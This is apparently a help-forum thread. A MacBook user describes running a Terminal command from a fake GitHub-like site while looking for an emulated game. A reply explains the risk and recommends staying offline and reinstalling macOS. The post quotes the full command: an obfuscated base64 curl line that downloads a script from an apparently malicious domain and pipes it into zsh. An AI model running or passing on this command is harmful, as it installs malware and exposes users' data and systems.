I made a huge mistake on my MacBook Pro while trying to download a video game for emulation. I ended up on a sketchy website that looked like GitHub and blindly ran a Terminal command given there. The command was:
`curl -kfsSL $(echo 'aHR0cDovL2FyZ29mbHlsZWVucy5mdW4vY3VybC84OWEyMjlmOWE3M2NmZmM2NzA4OWYzODhjNmMxMmYzZjlkODBlN2FlMmMzMjc0NWNkNTIxMjQyMWE4OWMzZTUw'|base64 -D)|zsh`
After entering my password, I got an error message saying that the application wasn't compatible with my Mac. About 10 minutes later, it hit me that this could be malicious. I immediately disconnected from the internet, but I'm really worried about the potential damage. How serious is this situation, and what steps should I take next?
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It sounds like you ran a command from a site starting with 'argoflyens.fun'. The flags in the command suggest it allowed insecure connections and could have installed something malicious, potentially compromising your system. First step is to keep your Mac offline to prevent any further connection to an attacker. I'd recommend researching how to properly wipe your hard drive and reinstall macOS from a backup if you have one.
Thank you for breaking that down! I’ll definitely keep my Mac offline and reset it. Appreciate your help!